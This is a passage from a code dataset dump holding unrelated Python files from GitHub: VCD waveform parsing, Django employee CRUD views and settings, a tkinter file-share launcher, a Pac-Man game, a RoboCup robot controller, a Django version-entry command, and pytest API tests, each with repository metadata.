main()\n","repo_name":"lambazta/homework_bot","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":6495,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43345348399","text":"from vcdvcd import (VCDVCD)\n\nfrom hdlcomposer.vcd.parse import (find_signal_name)\n\n\n\ndef get_signal_names(vcd_path):\n \"\"\"Load a vcd file and return the list of signal names including path\n \"\"\"\n\n vcd = VCDVCD(vcd_path)\n return vcd.get_signals()\n\n\n\ndef get_data(vcd_path):\n \"\"\"Load a vcd file and return the list of signal names including path\n \"\"\"\n\n vcd = VCDVCD(vcd_path)\n return vcd.get_data()\n\n\n\ndef vcd_to_signals(vcd_path, signals='', module_path=''):\n \"\"\"Load a vcd file times and values into Signals\n\n Args:\n vcd_path: Path to the .vcd file.\n signals: Name(s) of the signals to load. None or [] loads them all.\n module_path: Path of the signal(s) in the RTL hierarchy. A string to\n apply to all the signals, or a dictionary {name: path,}\n if a list of signals is provided.\n In order to select signals by module (and differentiate\n signals with equal names located in different modules),\n provide the path to the signals that you want to extract.\n Example:\n Signals in the vcd file:\n 'dut.Top/uAdder/data[15:0]',\n 'dut.Top/uAdder/en',\n 'dut.Top/uAdder/dv',\n 'dut.Top/uMux/data[31:0]',\n 'dut.Top/uMux/en',\n 'dut.Top/uMux/dv',\n Setting signals_base_path='uMux/' will return:\n {'data': Signal(this will be 'dut.Top/uMux/data[31:0]'),\n 'en': Signal(this will be 'dut.Top/uMux/en'),\n 'dv': Signal(this will be 'dut.Top/uMux/dv')}\n \"\"\"\n\n from hdlcomposer.signals import Signal\n\n vcd = VCDVCD(vcd_path)\n signals_in_vcd = vcd.get_signals()\n data = vcd.get_data()\n\n result_signals = {}\n\n if not signals:\n signals = signals_in_vcd\n elif not isinstance(signals, list):\n signals = [signals]\n if not isinstance(module_path, dict):\n module_path = {name: module_path for name in signals}\n\n for identifier in data:\n signal_names_in_id = data[identifier]['references']\n for vcd_signal_name in signal_names_in_id:\n for signal_name in module_path:\n size = int(data[identifier]['size'])\n matches, found_signal_name = find_signal_name(\n vcd_signal_name,\n signal_name,\n module_path[signal_name],\n (size > 1)\n )\n if matches:\n module_path.pop(signal_name)\n result_signals[found_signal_name] = Signal(signal_type=data[identifier]['var_type'],\n signal_width=int(data[identifier]['size']),\n signal_path=vcd_signal_name)\n result_signals[found_signal_name].waveform = [list(tv) for tv in data[identifier]['tv']]\n break\n\n return result_signals\n","repo_name":"bmpenuelas/hdlcomposer","sub_path":"hdlcomposer/vcd/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"16690407398","text":"from django.shortcuts import render\n\nfrom testapp.forms import EmployeeForm\nfrom testapp.models import Employee\nfrom testapp.utils import is_json\nfrom testapp.mixins import SerializeMixin,HttpResponseMixin\nfrom django.views.generic import View\nimport json\nfrom django.http import HttpResponse\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\n\n\n@method_decorator(csrf_exempt,name=\"dispatch\")\nclass EmployeeListCBV(HttpResponseMixin,SerializeMixin,View):\n def get(self,request,*args,**kwargs):\n qs = Employee.objects.all()\n json_data = self.serialize(qs)\n return HttpResponse(json_data,content_type=\"application/json\")\n\n def post(self,request,*args,**kwargs):\n data = request.body\n valid_json = is_json(data)\n if not valid_json:\n json_data = json.dumps({\"msg\":\"please send Valid json only\"})\n return self.http_response(json_data,status=400)\n empdata = json.loads(data)\n form = EmployeeForm(empdata)\n if form.is_valid():\n form.save(commit=True)\n json_data = json.dumps({\"msg\":\"Resoure Created Successfully\"})\n return self.http_response(json_data)\n if form.errors:\n json_data=json.dumps(form.errors)\n return self.http_response(json_data,status=404)\n@method_decorator(csrf_exempt,name=\"dispatch\")\nclass EmployeeDetailCBV(HttpResponseMixin,SerializeMixin,View):\n def get_object_by_id(self,id):\n try:\n emp = Employee.objects.get(id=id)\n except Employee.DoesNotExist:\n emp = None\n return emp\n\n\n def get(self,request,id,*args,**kwargs):\n try:\n emp = Employee.objects.get(id=id)\n except Employee.DoesNotExist:\n json_data = json.dumps({\"msg\":\"The Requested Resource is not available\"})\n return self.http_response(json_data,status=404)\n else:\n json_data = self.serialize([emp,])\n return self.http_response(json_data)\n\n\n def put(self,request,id,*args,**kwargs):\n emp = self.get_object_by_id(id)\n if emp is None:\n json_data = json.dumps({\"msg\":\"No Matched Resource is Found,Not Possible to perform Updation\"})\n return self.http_response(json_data,status=404)\n data = request.body\n valid_json = is_json(data)\n if not valid_json:\n json_data=json.dumps({\"msg\":\"please send valid json data only\"})\n return self.http_response(json_data,status=400)\n provided_data = json.loads(data)\n original_data = {\n 'eno':emp.eno,\n 'ename':emp.ename,\n 'esal':emp.esal,\n 'eaddr':emp.eaddr\n }\n original_data.update(provided_data)\n form = EmployeeForm(original_data,instance=emp)\n if form.is_valid():\n form.save(commit=True)\n json_data = json.dumps({\"msg\":\"Resource Updated Successfully\"})\n return self.http_response(json_data)\n if form.errors:\n json_data = json.dumps(form.errors)\n return self.http_response(json_data,status=404)\n def delete(self,request,id,*args,**kwargs):\n emp = self.get_object_by_id(id)\n if emp is None:\n json_data = json.dumps({\"msg\":\"No data is matching with the given Id so Deletion Can not be performed\"})\n return self.http_response(json_data,status=404)\n status,deleted = emp.delete()\n if status == 1:\n json_data = json.dumps({\"msg\":\"Resource Deleted Succesfully\"})\n return self.http_response(json_data)\n json_data = json.dumps({\"msg\":\"unable To delete Plz Try Again\"})\n","repo_name":"narendra45/Forms","sub_path":"serialirer1/testapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34815156643","text":"import os\n\nPROJECT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nBASE_DIR = os.path.dirname(PROJECT_DIR)\n\n\n# For other apps\nSITE_ID=1\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = os.environ.get('DJANGO_SECRET_KEY')\n\n# DB keys\nPOSTGR_WASTE_USER = os.environ.get('POSTGR_WASTE_USER')\nPOSTGR_WASTE_USER_PASS = os.environ.get('POSTGR_WASTE_USER_PASS')\n\n# age of connect ion to db\nCONN_MAX_AGE = 1000\n\n# GCP credentials \nGOOGLE_APPLICATION_CREDENTIALS = os.path.join(BASE_DIR, os.environ.get('GOOGLE_APPLICATION_CREDENTIALS')) \n\n# Internationalization\n# https://docs.djangoproject.com/en/3.0/topics/i18n/\n\nLANGUAGE_CODE = 'ru-ru'\nTIME_ZONE = 'Europe/Moscow'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\n\n# Wagtail settings\nWAGTAIL_EMAIL_MANAGEMENT_ENABLED = False\nWAGTAIL_ALLOW_UNICODE_SLUGS = False\n# Wagtail settings\nWAGTAIL_SITE_NAME = \"ecoapp\"\n\nDB_NAME = 'waste_api'\n\n# Base URL to use when referring to full URLs within the Wagtail admin backend -\n# e.g. in notification emails. Don't include '/admin' or a trailing slash\nBASE_URL = 'http://api.ma34.ru'\nAUTH_USER_MODEL = 'customuser.User'\n\n\n# Base URL to use when referring to full URLs within the Wagtail admin backend -\n# e.g. in notification emails. Don't include '/admin' or a trailing slash\n","repo_name":"eximius8/waste-api","sub_path":"ecoapp/settings/variables.py","file_name":"variables.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5314128585","text":"import tkinter\nimport subprocess\nfrom tkinter import *\nfrom PIL import ImageTk,Image\n\nroot = tkinter.Tk()\nroot.title(\"Share File!\")\nroot.geometry(\"500x500\")\nroot.configure(background='#CD8C95')\n\ncanvas = Canvas(root, width = 500, height = 250)\nline = canvas.create_line(0,251,500,251)\ncanvas.pack()\nimg = ImageTk.PhotoImage(Image.open(\"icon.jpg\"))\ncanvas.create_image(0, 0, anchor=NW, image=img)\n\ndef call_send():\n subprocess.call(\" python part_1.py 1\", shell=True)\n quit()\n\ndef call_receive():\n subprocess.call(\" python part_2.py 1\", shell=True)\n quit()\n\nB = tkinter.Button(root,bg= '#FFB6C1',bd = 5, text =\"Send a file\",command = call_send,width = 20)\nB.pack(side=LEFT, padx=50, pady=5)\n\nB = tkinter.Button(root,bg= '#FFB6C1',bd = 5, text =\"Receive a file\",command = call_receive,width=20)\nB.pack(side=RIGHT, padx=50, pady=5)\n\nroot.mainloop()","repo_name":"VigneshVerma/FileSharing_Python","sub_path":"Home_1.py","file_name":"Home_1.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"41459176983","text":"import os\n\nimport psutil\nimport pandas as pd\n\ndata = pd.read_csv(\"./weather_data.csv\")\ntemperature = data[\"temp\"] # we can also get the columns of the dataframes as attributes. Eg. data.temp\n\n# computations\navg_temp = temperature.mean()\nprint(avg_temp)\nmax_temp = temperature.max()\nprint(max_temp)\n\n# retrieving a row in dataframe\nrow = data[data.day == \"Monday\"]\nprint(row)\n\n# retrieving a row that has max temp\nrow_with_max_temp = data[data.temp == data.temp.max()]\nprint(row_with_max_temp)\n\nprint(psutil.Process(os.getpid()).memory_info().rss / 1024 ** 2)\n","repo_name":"dskarthick97/python-learning-journey","sub_path":"day_25_working_with_csv/working_with_pandas.py","file_name":"working_with_pandas.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"238216945","text":"################################################################################\n# main.py\n#\n# This file contains all the main game logic. It initializes the ghosts and\n# provides a user interface.\n#\n# Name: Connor Frank\n# Andrew ID: connorf\n################################################################################\n\n\nfrom boardObjs import *\nfrom cmu_112_graphics import *\nfrom ghostObjs import *\n\n\n# set all the defaults for easy access here\ndef setDefaults(app):\n app.timerDelay = 300\n app.wallFill = \"black\"\n app.wallEdge = \"blue\"\n app.foodFill = \"white\"\n app.textColor = \"white\"\n app.wallThickness = 5\n app.margin = 30\n app.bottomSpace = 100\n app.cellSize = 50\n\n\n# built-in function\ndef appStarted(app):\n app.view = app.prevView = 0\n setDefaults(app)\n # cherry source: https://www.pixilart.com/art/pac-man-cherry-79e94a34e56adb2\n app.fruit = app.loadImage(\"fruits/cherry.png\")\n\n app.board = Board(\n app.width - 2 * app.margin,\n app.height - (app.margin + app.bottomSpace),\n app.cellSize,\n )\n app.pacmanRow = app.board.startRow\n app.pacmanCol = app.board.startCol\n app.pacmanDir = 0, 0\n app.nextDir = 0, 0\n app.pacmanChomp = True\n app.ghostEater = False\n app.ghostEaterCountdownStart = 15\n app.ghostEaterCountdown = app.ghostEaterCountdownStart\n app.win = False\n app.gameOver = False\n app.pause = False\n\n initGhosts(app)\n\n app.score = 0\n app.topScores = [0] * 9\n app.lives = 3\n app.numFruits = 0\n app.fruitCountdown = 50\n app.showFruit = False\n\n app.showSmallScore = False\n app.smallScoreCountdown = 0\n app.smallScorePos = 0, 0\n\n\n# initialize all the ghosts\ndef initGhosts(app):\n app.ghosts = [Random(app.board)]\n app.ghosts.append(GreedyFront(app.board))\n app.ghosts.append(GreedyAt(app.board))\n app.ghosts.append(GreedyBehind(app.board))\n\n\n# handle direction changes issued by WASD / arrows\ndef directionChange(app, dRow, dCol):\n prev = app.pacmanDir\n app.pacmanDir = dRow, dCol\n if not isValidMove(app, app.pacmanRow + dRow, app.pacmanCol + dCol):\n app.nextDir = app.pacmanDir\n app.pacmanDir = prev\n\n\n# handle key presses\ndef keyPressed(app, event):\n if event.key == \"h\":\n app.pause = True\n app.view = 0\n elif event.key == \"Escape\":\n app.pause = not app.pause\n if app.view != 2:\n app.prevView = app.view\n app.view = 2\n else:\n app.view = app.prevView\n return\n\n if app.view == 0:\n if event.key == \"Enter\":\n topScores = app.topScores\n appStarted(app)\n app.topScores = topScores\n app.view = 1\n elif app.view == 1:\n if app.win and event.key == \"n\":\n score, topScores = app.score, app.topScores\n numFruits, lives = app.numFruits, app.lives\n appStarted(app)\n app.view = 1\n app.score, app.topScores = score, topScores\n app.numFruits, app.lives = numFruits, lives\n elif (app.gameOver and event.key == \"n\") or event.key == \"r\":\n topScores = app.topScores\n appStarted(app)\n app.topScores = topScores\n app.view = 1\n elif event.key == \"Up\" or event.key == \"w\":\n directionChange(app, -1, 0)\n elif event.key == \"Down\" or event.key == \"s\":\n directionChange(app, 1, 0)\n elif event.key == \"Left\" or event.key == \"a\":\n directionChange(app, 0, -1)\n elif event.key == \"Right\" or event.key == \"d\":\n directionChange(app, 0, 1)\n elif app.view == 2:\n if event.key == \"Escape\":\n app.view = 0\n\n\n# returns whether a move is valid\ndef isValidMove(app, row, col):\n return app.board[row][col].pointVal >= 0\n\n\n# initializes a small score on the board (not actually a class though)\ndef smallScoreInit(app, scoreAdd, countdown, row, col):\n app.score += scoreAdd\n app.smallScoreCountdown = countdown\n app.smallScorePos = row, col\n\n\n# handles teleportation from one side to the other\ndef teleport(app, row, col):\n points = app.board[row][col].pointVal\n if points != 42:\n return row, col\n if col == 0:\n col = len(app.board[0]) - 1\n else:\n col = 0\n return row, col\n\n\n# handles eating food and/or fruit\ndef eat(app):\n points = app.board[app.pacmanRow][app.pacmanCol].pointVal\n if points == 1:\n app.board[app.pacmanRow][app.pacmanCol] = Empty()\n app.score += points\n app.board.foodCount -= 1\n elif points == 2: # magic food\n app.ghostEater = True\n app.ghostEaterCountdown = app.ghostEaterCountdownStart\n app.board[app.pacmanRow][app.pacmanCol] = Empty()\n app.board.foodCount -= 1\n elif points == 100: # fruit\n smallScoreInit(app, 100, 4, app.pacmanRow, app.pacmanCol)\n app.numFruits += 1\n app.showFruit = False\n\n\n# kills pacman when he collides with a ghost\ndef die(app):\n app.lives -= 1\n if app.lives == 0:\n app.gameOver = True\n app.topScores.append(app.score)\n app.pacmanRow = app.board.startRow\n app.pacmanCol = app.board.startCol\n app.pacmanDir = 0, 0\n initGhosts(app)\n\n\n# refreshes the ghosts and checks for collisions\ndef refreshGhosts(app):\n for ghost in app.ghosts:\n if not ghost.jailed:\n dRow, dCol = app.pacmanDir\n if (ghost.row == app.pacmanRow and ghost.col == app.pacmanCol) or (\n ghost.row == app.pacmanRow + dRow\n and ghost.col == app.pacmanCol + dCol\n ):\n if app.ghostEater:\n smallScoreInit(app, 100, 4, ghost.row, ghost.col)\n ghost.resetJailTime()\n ghost.row, ghost.col = app.board.ghostStarting\n else:\n die(app)\n return True\n # juggle the next row, prev row, and current row\n # this is the result of 1.5 hours of debugging and pain\n ghost.nextRow, ghost.nextCol = ghost.nextMove(app.board, app)\n ghost.nextRow, ghost.nextCol = teleport(\n app, ghost.nextRow, ghost.nextCol\n )\n ghost.prevRow, ghost.prevCol = ghost.row, ghost.col\n ghost.row, ghost.col = ghost.nextRow, ghost.nextCol\n return False\n\n\n# sees whether pacman has won (no food left)\ndef checkForWin(app):\n if app.board.foodCount <= 0:\n app.win = True\n\n\n# built-in function\ndef timerFired(app):\n if app.ghostEater:\n app.ghostEaterCountdown -= 1\n if app.ghostEaterCountdown == 0:\n app.ghostEater = False\n app.ghostEaterCountdown = app.ghostEaterCountdownStart\n if app.smallScoreCountdown > 0:\n app.showSmallScore = True\n app.smallScoreCountdown -= 1\n else:\n app.showSmallScore = False\n if not app.win and not app.gameOver:\n if not app.pause:\n app.pacmanChomp = not app.pacmanChomp\n app.fruitCountdown -= 1\n if app.fruitCountdown == 0:\n app.showFruit = True\n for ghost in app.ghosts:\n if ghost.jailTime == 0:\n ghost.jailed = False\n else:\n ghost.jailTime -= 1\n stop = refreshGhosts(app)\n # calculate next move and execute it\n if not stop:\n dRow, dCol = app.pacmanDir\n newRow = app.pacmanRow + dRow\n newCol = app.pacmanCol + dCol\n if isValidMove(app, newRow, newCol):\n app.pacmanRow = newRow\n app.pacmanCol = newCol\n eat(app)\n else:\n dRow, dCol = app.nextDir\n newRow = app.pacmanRow + dRow\n newCol = app.pacmanCol + dCol\n if isValidMove(app, newRow, newCol):\n app.pacmanRow = newRow\n app.pacmanCol = newCol\n eat(app)\n app.pacmanDir = app.nextDir\n app.pacmanRow, app.pacmanCol = teleport(\n app, app.pacmanRow, app.pacmanCol\n )\n checkForWin(app)\n elif app.win:\n app.wallEdge = \"black\" if app.wallEdge == \"blue\" else \"blue\"\n\n\n# draws the board\ndef drawBoard(app, canvas):\n for i in range(len(app.board)):\n for j in range(len(app.board[i])):\n obj = app.board[i][j]\n x, y = app.board.getCenter(i, j, int(app.margin))\n r = obj.size\n if isinstance(obj, Wall):\n canvas.create_rectangle(\n x - r,\n y - r,\n x + r,\n y + r,\n fill=app.wallFill,\n outline=app.wallEdge,\n width=app.wallThickness,\n )\n elif isinstance(obj, Food):\n canvas.create_oval(\n x - r, y - r, x + r, y + r, outline=None, fill=app.foodFill\n )\n elif isinstance(obj, Teleportation):\n pass\n elif isinstance(obj, Fruit) and app.showFruit:\n drawFruit(app, canvas, x, y)\n\n\n# draws a bar below the board\ndef drawBar(app, canvas):\n board = app.board\n middle, height = board.getCenter(\n board.rows - 1, (board.cols // 2) - 1, app.margin\n )\n height += (board.cellSize // 2) + app.margin\n canvas.create_text(\n app.margin,\n height,\n text=f\"SCORE: {app.score}\",\n font=\"Arial 40 bold\",\n fill=app.textColor,\n anchor=\"nw\",\n )\n canvas.create_text(\n middle,\n height,\n text=f\"LIVES: {app.lives}\",\n font=\"Arial 40 bold\",\n fill=app.textColor,\n anchor=\"nw\",\n )\n drawFruitCounter(app, canvas)\n\n\n# draws a fruit either on the board or on the bar\ndef drawFruit(app, canvas, x, y, anchor=None):\n if anchor is None:\n # fruit is being placed on board\n size = 1 / 20\n y += 9\n else:\n size = 1 / 10\n fruit = app.scaleImage(app.fruit, size)\n canvas.create_image(x, y, image=ImageTk.PhotoImage(fruit), anchor=anchor)\n\n\n# draws a counter on the board next to the fruit\ndef drawFruitCounter(app, canvas):\n board = app.board\n x, y = board.getCenter(board.rows, board.cols - 2, app.margin)\n x -= app.margin\n y += (board.cellSize // 2) + app.margin\n drawFruit(app, canvas, x, y, anchor=\"w\")\n canvas.create_text(\n x,\n y - 20,\n text=f\"{app.numFruits} x\",\n font=\"Arial 25 bold\",\n fill=app.textColor,\n anchor=\"e\",\n )\n\n\n# draws pacman\ndef drawPacman(app, canvas):\n x, y = app.board.getCenter(app.pacmanRow, app.pacmanCol, app.margin)\n r = app.cellSize // 2\n r *= 0.8\n canvas.create_oval(x - r, y - r, x + r, y + r, fill=\"yellow\")\n arcCoord = x - r, y - r, x + r, y + r\n size = 40 if app.pacmanChomp else 90\n if app.pacmanDir == (-1, 0):\n angle = 90 - (size / 2)\n elif app.pacmanDir == (1, 0):\n angle = 270 - (size / 2)\n elif app.pacmanDir == (0, -1):\n angle = 180 - (size / 2)\n elif app.pacmanDir == (0, 1):\n angle = 0 - (size / 2)\n else:\n return\n canvas.create_arc(arcCoord, start=angle, extent=size, fill=\"black\")\n\n\n# draws ghosts onto the board\ndef drawGhosts(app, canvas):\n r = app.cellSize // 2\n r *= 0.8\n for ghost in app.ghosts:\n if not ghost.jailed:\n x, y = app.board.getCenter(ghost.row, ghost.col, app.margin)\n color = \"purple\" if app.ghostEater else ghost.color\n canvas.create_rectangle(x - r, y - r, x + r, y + r, fill=color)\n\n\n# draws a \"you win\" message\ndef drawYouWin(app, canvas):\n winID = canvas.create_text(\n app.width // 2,\n app.height // 2,\n text=\"You Win!\".center(31) + \"\\nPress 'n' to play again!\",\n font=\"Arial 25 bold\",\n fill=\"white\",\n )\n winX0, winY0, winX1, winY1 = canvas.bbox(winID)\n canvas.create_rectangle(\n winX0, winY0, winX1, winY1, fill=\"black\", outline=\"black\", width=10\n )\n canvas.create_text(\n app.width // 2,\n app.height // 2,\n text=\"You Win!\".center(31) + \"\\nPress 'n' to play again!\",\n font=\"Arial 25 bold\",\n fill=\"white\",\n )\n\n\n# draws a \"game over\" message\ndef drawGameOver(app, canvas):\n winID = canvas.create_text(\n app.width // 2,\n app.height // 2,\n text=\"GAME OVER.\".center(28) + \"\\nPress 'n' to play again!\",\n font=\"Arial 25 bold\",\n fill=\"white\",\n )\n winX0, winY0, winX1, winY1 = canvas.bbox(winID)\n canvas.create_rectangle(\n winX0, winY0, winX1, winY1, fill=\"black\", outline=\"black\", width=10\n )\n canvas.create_text(\n app.width // 2,\n app.height // 2,\n text=\"GAME OVER.\".center(28) + \"\\nPress 'n' to play again!\",\n font=\"Arial 25 bold\",\n fill=\"white\",\n )\n\n\n# draws a small score onto the board when pacman eats a ghost/fruit\ndef drawSmallScore(app, canvas):\n row, col = app.smallScorePos\n x, y = app.board.getCenter(row, col, app.margin)\n canvas.create_text(x, y, text=\"100\", font=\"Arial 10\", fill=\"white\")\n\n\n# starting view\ndef startView(app, canvas):\n canvas.create_text(\n app.width // 2,\n app.height // 4,\n text=\"Pacman++\",\n font=\"Arial 100 bold\",\n fill=\"yellow\",\n )\n usage = (\n \"Use WASD or arrow keys to move pacman\\n\"\n \"Press 'h' (help) at any time to return to this menu\\n\"\n \"Press escape to view top scores\\n\"\n \"Press enter to begin the game\"\n )\n canvas.create_text(\n app.width // 2,\n app.height // 2,\n text=usage,\n font=\"Arial 25 bold\",\n fill=\"white\",\n )\n canvas.create_text(\n app.width // 2,\n (app.height * 3) // 4,\n text=\"Good luck!\",\n font=\"Arial 60 bold\",\n fill=\"blue\",\n )\n\n\n# normal view\ndef normalView(app, canvas):\n drawBar(app, canvas)\n drawBoard(app, canvas)\n drawPacman(app, canvas)\n drawGhosts(app, canvas)\n if app.showSmallScore:\n drawSmallScore(app, canvas)\n if app.win:\n drawYouWin(app, canvas)\n elif app.gameOver:\n drawGameOver(app, canvas)\n\n\n# highscore view\ndef showTopScores(app, canvas):\n if app.topScores == ([0] * 9):\n canvas.create_text(\n app.width // 2,\n app.height // 2,\n text=\"No top scores yet.\",\n font=\"Arial 50 bold\",\n fill=\"white\",\n )\n return\n scores = sorted(app.topScores)[::-1]\n height = app.height // 10\n for score in scores[:9]:\n canvas.create_text(\n app.width // 2,\n height,\n text=score,\n font=\"Arial 50 bold\",\n fill=\"white\",\n )\n height += app.height // 10\n\n\n# built-in function\ndef redrawAll(app, canvas):\n canvas.create_rectangle(0, 0, app.width, app.height, fill=\"black\")\n if app.view == 0:\n startView(app, canvas)\n elif app.view == 1:\n normalView(app, canvas)\n elif app.view == 2:\n showTopScores(app, canvas)\n\n\nif __name__ == \"__main__\":\n runApp(width=915, height=950)\n","repo_name":"conjfrnk/15-112-term-project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"561129738","text":"import sys\r\nfrom pathlib import Path\r\nsys.path.append(str(Path('.').absolute().parent))\r\nsys.path.append('/app/controllers')\r\n\r\nimport sys\r\nfrom pathlib import Path\r\nsys.path.append(str(Path('.').absolute().parent))\r\nfrom team_054_libraries.robot1 import rcj_soccer_robot\r\nfrom team_054_libraries.robot2 import utils\r\n######\r\n\r\n# Feel free to import built-in libraries\r\nimport math\r\n\r\n\r\nclass MyRobot(rcj_soccer_robot.RCJSoccerRobot):\r\n def gd(ball_angle: float) -> int:\r\n if ball_angle >= 345 or ball_angle <= 15:\r\n return 0\r\n return -1 if ball_angle < 180 else 1\r\n def run(self):\r\n while self.robot.step(rcj_soccer_robot.TIME_STEP) != -1:\r\n if self.is_new_data():\r\n data = self.get_new_data()\r\n\r\n # Get the position of our robot\r\n robot_pos = data[self.name]\r\n # Get the position of the ball\r\n ball_pos = data['ball']\r\n\r\n # Get angle between the robot and the ball\r\n # and between the robot and the north\r\n ball_angle, robot_angle = self.get_angles(ball_pos, robot_pos)\r\n\r\n # Compute the speed for motors\r\n direction = utils.get_direction(ball_angle)\r\n\r\n # If the robot has the ball right in front of it, go forward,\r\n # rotate otherwise\r\n if direction == 0:\r\n left_speed = -5\r\n right_speed = -5\r\n else:\r\n left_speed = direction * 4\r\n right_speed = direction * -4\r\n\r\n # Set the speed to motors\r\n self.left_motor.setVelocity(left_speed)\r\n self.right_motor.setVelocity(right_speed)\r\n\r\n\r\nmy_robot = MyRobot()\r\nmy_robot.run()\r\n","repo_name":"robocup-junior/rcj-soccer-sim-2021-robot-code","sub_path":"054/robot3/robot3.py","file_name":"robot3.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3235936713","text":"from django.core.management.base import BaseCommand\nfrom django.db.models import Q\n\nfrom initat.cluster.backbone.models import ICSWVersion, VERSION_NAME_LIST\nfrom initat.cluster.backbone.version_functions import get_database_version, get_models_version\nfrom initat.constants import VERSION_CS_NAME\nfrom initat.tools import config_store\n\n\nclass Command(BaseCommand):\n help = \"Create Database version entries after an migration run.\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"--modify\",\n action=\"store_true\",\n default=False,\n help=\"Modify ConfigStore (usefull for Quickfixes in production environments)\"\n )\n\n def handle(self, **options):\n main(options)\n\n\ndef main(options):\n if not ICSWVersion.objects.all().count():\n insert_idx = 0\n else:\n insert_idx = max(ICSWVersion.objects.all().values_list(\"insert_idx\", flat=True))\n insert_idx += 1\n _vers = config_store.ConfigStore(VERSION_CS_NAME, quiet=True)\n if options[\"modify\"]:\n print(\"Renewing version info in ConfigStore\")\n _vers[\"database\"] = get_database_version()\n _vers[\"models\"] = get_models_version()\n print(_vers.file_name)\n _vers.write()\n print(\n \"Creating {:d} version entries with idx {:d} ...\".format(\n len(VERSION_NAME_LIST),\n insert_idx\n )\n )\n for _name in VERSION_NAME_LIST:\n _v = _vers[_name]\n print(\" {} is {}\".format(_name, _v))\n ICSWVersion.objects.create(\n name=_name,\n version=_v,\n insert_idx=insert_idx,\n )\n # stale entries\n stale = ICSWVersion.objects.filter(Q(insert_idx__lt=insert_idx)).count()\n print(\"Stale entries in database: {:d}\".format(stale))\n","repo_name":"walong365/icsw","sub_path":"initat/cluster/backbone/management/commands/create_version_entries.py","file_name":"create_version_entries.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20124959235","text":"import requests\nimport urllib\nimport geopandas as gpd\nimport io\nimport pandas as pd\nimport base\nimport json\nfrom base.models import Position, ShipmentArrivalBerth\nfrom base.db import session\nimport datetime as dt\n\n\ndef test_pipelineflow_pricing(app):\n # Create a test client using the Flask application configured for testing\n with app.test_client() as test_client:\n params = {\"format\": \"json\"}\n response = test_client.get('/v0/overland?' + urllib.parse.urlencode(params))\n assert response.status_code == 200\n data = response.json[\"data\"]\n assert len(data) > 0\n assert all([x[\"value_tonne\"] == 0 or x[\"value_tonne\"]/x[\"value_eur\"] > 0 for x in data])\n assert len(set([x['id'] for x in data])) == len(data)\n\n params = {\"format\": \"json\", \"date_from\": \"2021-01-01\"}\n response = test_client.get('/v0/overland?' + urllib.parse.urlencode(params))\n assert response.status_code == 200\n data = response.json[\"data\"]\n assert len(data) > 0\n assert all([x[\"value_tonne\"] == 0 or x[\"value_tonne\"] / x[\"value_eur\"] > 0 for x in data])\n assert len(set([x['id'] for x in data])) == len(data)\n\n\n# def test_pipelineflow_ukraine(app):\n# # We assume gas is transiting through Ukraine,\n# # So Ukraine must be considered as part of EU\n# # Create a test client using the Flask application configured for testing\n# with app.test_client() as test_client:\n# params = {\"format\": \"json\", \"destination_iso2\": \"UA\", \"aggregate_by\": \"destination_region\"}\n# response = test_client.get('/v0/overland?' + urllib.parse.urlencode(params))\n# assert response.status_code == 200\n# data = response.json[\"data\"]\n# assert len(data) == 1\n# assert all([x[\"value_eur\"] > 0 for x in data])\n# assert list(set([x[\"destination_region\"] for x in data])) == [\"EU28\"]\n#\n# params = {\"format\": \"json\", \"destination_region\": \"EU28\", \"aggregate_by\": \"destination_region\"}\n# response = test_client.get('/v0/overland?' + urllib.parse.urlencode(params))\n# assert response.status_code == 200\n# data_eu = response.json[\"data\"]\n# assert len(data_eu) == 1\n# sum([x[\"value_eur\"] for x in data_eu]) > sum([x[\"value_eur\"] for x in data])\n# assert list(set([x[\"destination_region\"] for x in data_eu])) == [\"EU28\"]\n\n\ndef test_pipelineflow_aggregation(app):\n\n # Create a test client using the Flask application configured for testing\n with app.test_client() as test_client:\n aggregate_bys = [\n [],\n ['destination_region', 'commodity'],\n ['destination_region', 'commodity_group'],\n ['destination_region', 'commodity', 'date'],\n ]\n\n for aggregate_by in aggregate_bys:\n params = {\"format\": \"json\", \"aggregate_by\": ','.join(aggregate_by)}\n response = test_client.get('/v0/overland?' + urllib.parse.urlencode(params))\n assert response.status_code == 200\n data = response.json[\"data\"]\n assert len(data) > 0\n data_df = pd.DataFrame(data)\n\n expected_columns = set(aggregate_by + ['value_tonne', 'value_eur', 'value_m3', 'value_usd']) if aggregate_by \\\n else set(['id', 'commodity', 'commodity_group',\n 'commodity_origin_country', 'commodity_origin_iso2', 'commodity_origin_region',\n 'commodity_destination_country', 'commodity_destination_region', 'commodity_destination_iso2',\n 'departure_iso2', 'departure_country', 'departure_region',\n 'destination_iso2', 'destination_country', 'destination_region',\n 'date', 'value_tonne', 'value_eur', 'value_m3', 'value_usd'])\n\n if \"commodity\" in aggregate_by:\n expected_columns.update([\"commodity_group\"])\n\n assert (set(data_df.columns) & set (expected_columns)) == 